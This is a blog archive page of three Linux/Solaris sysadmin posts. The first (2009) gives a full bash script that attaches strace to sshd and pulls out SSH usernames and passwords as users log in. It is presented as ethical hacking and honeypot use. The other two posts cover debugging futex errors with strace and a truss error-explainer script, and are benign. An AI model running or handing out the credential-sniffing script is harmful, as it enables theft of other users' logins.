Showing posts with label strace. Show all posts
Showing posts with label strace. Show all posts

Wednesday, May 27, 2009

Snooping For Usernames And Passwords Over SSH Using Strace On Linux

Hey There,

Well, it's about time for me to quit working, so I can get up and make it work on time tomorrow ;) All kidding aside, nowadays, I'm just glad I have a job. This economy is miserable. But I'm still a glass half full kinda guy ;)

It's been a while since we've done any posts on "ethical hacking" (breaking the system to make it more secure), like our old post on grabbing Usernames And Passwords Over Telnet Using TcpDump On Linux, but today, I got a little bug in me and decided to see what could be done about SSH.

Well, SSH is pretty secure - as advertised ;) However, I found that, if you have the root privilege to snoop an interface for username and password traffic, you can just as easily trace SSH processes using strace; getting much the same results. The only real limitation is that you can't grab information that's floating by and/or through your machine; only traffic directly connecting to it. But, if you're setting up a honeypot, the bees should be coming to you, anyway ;)

You can run this shell script (which I'll admit is a little sketchy - written under duress ;) fairly simply, like so:

host # ./ssh-snoop

The picture below shows the minimal interactivity at startup (just to confirm that you get the base SSH process - since the strace call will run down all the forked processes from the root). In the case shown below the username is "user123" and the password is "easyPass" You'll have to sift through a few lines of garbage, but it's better then combing the full strace output:

Click the Picture Below To Biggie-Size Your Passwords ;)

Thank God you're not this poor bastard

Hope you enjoy this and that it helps you convince at least one other person that a real need for security actually still exists :)

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash

#
# ssh-snoop - not really snooping or tcp-dumping, but close enough :)
#
# 2009 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

ssh_root_proc=`ps -ef|grep "[s]shd"|awk '{ if ( $3 == "1" ) print $2}'`

echo "SSH root proc has been discovered as PID $ssh_root_proc"
echo "Please check ps output below to determine if this is correct"
echo
ps -ef|grep "[s]shd"
echo
echo "enter y or Y if correct or correct PID number. Ctl-C to exit"
read ssh_pid
if [ "$ssh_pid" = "y" -o "$ssh_pid" = "Y" ]
then
ssh_pid=$ssh_root_proc
elif [ -z "$ssh_pid" ]
then
echo "No valid confirmation or PID entered. Exiting..."
exit 1
fi

echo "Building user login grep pattern from /etc/passwd"
user_grep=`awk -F":" '{ if ( $3 > 100 ) print $1}' /etc/passwd |xargs -ivar echo -n "var|"|sed 's/$/password/'`

echo "Setting SSH root proc to $ssh_pid"
echo
echo "Dumping Output - Ctl-C to quit and examine"
passcount=9
passpossible=0
strace -f -etrace=write -s 64 -p $ssh_pid 2>&1|while read SSH
do
pass_test=`echo $SSH|grep -i password` >/dev/null 2>&1
if [ $? -eq 0 ]
then
xline=`echo $SSH 2>&1|grep write`
echo "POSSIBLE PASSWORD: $xline"
passpossible=1
elif [ $passpossible -eq 1 -a $passcount -lt 9 ]
then
xline=`echo $SSH 2>&1|grep write`
echo "POSSIBLE PASSWORD: $xline"
let passcount=$passcount+1
passpossible=1
else
xline=`echo $SSH 2>&1|grep write|egrep $user_grep`
if [ ! -z "$xline" ]
then
echo "POSSIBLE USERNAME: $xline"
fi
passcount=0
passpossible=0
fi
done


, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Sunday, December 23, 2007

Using Linux strace To Debug Application Issues

Today's post is a little bit of a walkthrough of using RedHat Linux strace to debug (and find the root cause of ) a system issue and a little bit of caution about how much information you should really share with application project managers if you don't want to be stuck supporting a hacked solution for longer than anyone should. As far as job security goes, it can't hurt, but certain situations really do require that folks upgrade their software to the vendor supported version, no matter how creative your solution ends up being.

Note: If you're looking for an in-depth examination of strace, this post isn't it. Not to turn any readers off, as we'll certainly be exploring that in a future post, but this is more of a walkthrough of a problem resolution involving strace rather than a dissertation on the command itself.

In this particular instance, we were working with a product (heretofore referred to as the Product or Product) that, to my knowledge, had just begun having "issues." This generally means to me that somebody did something they weren't supposed to or were trying to do something they weren't supposed to. I'm cynical, but I try to have the common courtesy to keep it to myself ;)

The Product was a client/server application running on the Java platform that had suddenly begun dropping connections from the application server to the backend database. I did a quick check of the /proc/****/status file (and, of course, gave a quick nod to "top" and "netstat -an"), confirming that they were dropping quite a few, like so:

host # cat /proc/14653/status | grep Threads
Threads: 311

host # top
<-- Truncated to just show the top process, which was the "failing" one.
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
14653 user 16 0 1634m 1.1g 40m S 120 14.1 296:46.54 java


I found the "total time used" (listed under the TIME+ column) somewhat alarming since the process had only been up for about a half an hour! It couldn't possibly be correct.

The next thing I did, since I like to go to the guts when I get brought in on an emergency issue regarding a Product I've never used before, was to shut it down and restart it with strace; teeing the information off to a file in /tmp (since I like to watch the characters fly by), like so:

host # strace -vF ./product arguments 2>&1|tee /tmp/OUTPUT

Note that this could have also been accomplished by running the process, getting it's pid from the ps tables and adding the -p PID flag to the strace command in order to attach to the process after starting it. I prefer to start the process with strace, if I can, in case something critical happens during the initial load-up.

Long story short (It is Sunday - Our day of rest - after all ;), I found that the Product process was dumping tons of FUTEX_WAIT errors. At this point, I checked the version of the OS with uname for the only part I really cared about at that point:

x86-64

The machine was running RedHat Advanced Server 5 - 64 bit. The FUTEX_WAIT errors have to do with the implementation of Fast Userspace Mutex locking implemented in the stable version of the RedHat Linux kernel 2.6 and up. This raised a red flag, and caused me to ask the inevitable question: When did this start happening?

As it turns out, the Product had previously been hosted on another machine running RedHat Advanced Server 4, 32 bit. This made perfect sense, since the Mutex locking mechanism at the kernel level they "used" to run on was completely different, and not compatible, since the Product was built to use the old style Mutex locking mechanisms.

Futile attempts were made to add lame fixes, like:

LD_ASSUME_KERNEL=2.4.whatever (Apologies; I don't remember what it was off-hand since it didn't end up helping at all ;)

to the Product's startup scripts, but this didn't resolve the problem. The "actual" (and correct) resolution would have been to upgrade to the vendor-supported version of the Product. The manufacturer of the Product actually had a more recent version available that was built specifically to address this issue and run on RedHat AS 5 - 64 bit.

And, here's the kicker (as per the cautionary message at the beginning of this post): As some of you may know, a bug in strace (It's actually more of a "feature" since it almost "has" to happen) makes it slow down a process slightly due to all the extra work it has to do to parse all the system calls, opens, reads, writes, errors, library loads, etc.

strace slowed the process down enough that the FUTEX_WAIT errors stopped occurring and the Product began functioning normally again. We ended up adding it to the init scripts after much debate over spending a few bucks to avoid possible total confusion in the future.

In retrospect, I'm glad that I was able to help identify the issue and find the root cause. On the other hand, I wish there was some way I could have avoided identifying the problem without providing a cheap and quick "out" for the end user. I'm sure, in the future, someone else will have to work on this Product (maybe a problem with the version of Java or something more insidious) and they'll be given about as much information as I was. Documentation was laid down, but I don't expect anyone will read it. Sometimes, the solution is as bad as the problem, in a way or two ;)

Enjoy your Sunday :)

, Mike





Tuesday, December 18, 2007

Script To Convert Solaris Truss Error Output Into Plain English

A fairly common request I get when helping to debug problems with executables, or other types of programs that need to be "trussed" (or have their system calls traced; which is a huge generalization ;), is to "please explain what all the error output means." Sometimes, possession of this knowledge can be the answer to the problem handed to me on a plate.

Solaris' truss (available on Linux as strace or xtrace - although with slightly different options and output) is an excellent tool for debugging and can be used as simplistically or with as much complexity as you're comfortable with. End users of Unix systems (the client or office staff) generally don't want to deal with it at all.

Although it isn't always true, a lot of times the error message that precedes a program's crash is a significant help in determining the root cause of the problem. Just knowing that, for instance, the program tries to write to an output file, and gets an error indicating that there's not enough space left on the device (or partition), immediately before it crashes can solve the case right then and there.

To that end, I threw together today's script. I think we'll definitely delve deeper into using truss (and also xtrace/strace) in a completely separate post. This script serves a very limited purpose, but can be a helpful tool to use as a first step, if you've got a lot going on (or if you believe - like I do - that most problems aren't as complicated as we can make them ;). It takes the arguments of whatever program you would run truss against (along with that program's arguments). So, if you would normally run (and we're keeping the truss simple here, with no options, which isn't the case in the script):

/usr/bin/truss /usr/bin/myprogram -f myconfig

Here, you'd simply run ( I'll name this script error_detail.sh for now):

./error_detail.sh /usr/bin/myprogram -f myconfig

The script essentially strips down the output of truss to the lines that contain system errors (like ENOENT and EIO, etc) and then takes those lines and prints them out, followed by the literal description of the error ( extracted from the contents of Solaris' /usr/include/sys/errno.h).

e.g. EPERM translates into "Operation Not Permitted"

Hopefully, this will help you get to those simple conclusions a little faster (and also remind you of what some of the more obscure system errors actually mean ;)

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/ksh
#
# error_detail.sh
# 2007 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

trap 'exit 1' 1 2 3 9 15
program="$@"

/usr/bin/truss -f $program 2>&1|awk '{ if (( $NF > 0 && $(NF-1) ~ /Err#/ ) || ( $0 ~ /truss: cannot trace/ )) print $0 }'|while read x
do
cant_truss=`echo $x 2>&1|grep -i "truss: cannot trace" >/dev/null 2>&1`
if [ $? -eq 0 ]
then
print "Truss cannot trace this command and/or it's argument(s)!"
print $x
exit 2
fi
err_detail=$(grep `echo $x|awk '{ print $NF }'` /usr/include/sys/errno.h|sed 's/\/\*\(.*\)\*\//\1/'|sed 's/^.*[0123456789] * *\(.*\)$/\1/')
print "$x : $err_detail"
done
exit 0


, Mike